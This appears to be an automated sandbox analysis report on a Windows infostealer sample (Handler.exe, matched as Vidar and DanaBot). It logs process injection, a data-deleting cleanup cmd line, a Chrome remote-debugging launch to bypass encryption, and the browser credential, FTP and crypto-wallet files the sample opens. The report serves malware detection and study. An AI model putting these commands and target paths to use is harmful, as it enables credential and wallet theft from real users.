Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: chrome.exe, 00000007.00000002.2219923329.0000017AB6B67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: chrome.exe, 00000007.00000002.2221766051.0000017ABE853000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_ ~
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Handler.exe, 00000001.00000002.2627835905.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWUM_
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\Handler.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Code function: 0_2_02D07F2D mov edi, dword ptr fs:[00000030h]		0_2_02D07F2D
Source: C:\Users\user\Desktop\Handler.exe	Code function: 0_2_02D080AA mov edi, dword ptr fs:[00000030h]		0_2_02D080AA

Source: C:\Users\user\Desktop\Handler.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Handler.exe

Code function: 0_2_02D07F2D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_02D07F2D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Handler.exe

Memory written: C:\Users\user\Desktop\Handler.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Users\user\Desktop\Handler.exe "C:\Users\user\Desktop\Handler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\ProgramData\5fctr1d2dt.exe "C:\ProgramData\5fctr1d2dt.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\tjw47" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: 5fctr1d2dt.exe, 00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp	Binary or memory string: Shell_TrayWndTrayNotifyWndSysPagerToolbarWindow32U
Source: 5fctr1d2dt.exe, 00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp	Binary or memory string: explorer.exeShell_TrayWnd

Source: C:\Users\user\Desktop\Handler.exe

Code function: GetLocaleInfoA,

1_2_0041F6B3

Source: C:\Users\user\Desktop\Handler.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\5fctr1d2dt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\ProgramData\5fctr1d2dt.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Source: C:\ProgramData\5fctr1d2dt.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId

Source: C:\Users\user\Desktop\Handler.exe	Queries volume information: C:\Users\user\Desktop\Handler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\5fctr1d2dt.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0042D98B EntryPoint,GetUserNameW,

1_2_0042D98B

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0041F53D GetTimeZoneInformation,

1_2_0041F53D

Source: C:\Users\user\Desktop\Handler.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DanaBot stealer dll

Source: Yara match	File source: 22.0.5fctr1d2dt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5fctr1d2dt.exe PID: 2460, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\5fctr1d2dt.exe, type: DROPPED

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: Handler.exe PID: 5532, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodus Web3 Wallet
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MultiDoge
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\Handler.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Handler.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\temporary\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Handler.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 22.0.5fctr1d2dt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Handler.exe PID: 5532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5fctr1d2dt.exe PID: 2460, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\5fctr1d2dt.exe, type: DROPPED

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\Handler.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected DanaBot stealer dll

Source: Yara match	File source: 22.0.5fctr1d2dt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5fctr1d2dt.exe PID: 2460, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\5fctr1d2dt.exe, type: DROPPED

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: Handler.exe PID: 5532, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	1 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	212 Process Injection	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 Timestomp	NTDS	54 System Information Discovery	Distributed Component Object Model	Input Capture	1 Multi-hop Proxy	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Query Registry	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	11 Security Software Discovery	VNC	GUI Input Capture	14 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	3 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	1 Proxy	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	3 Virtualization/Sandbox Evasion	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	2 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
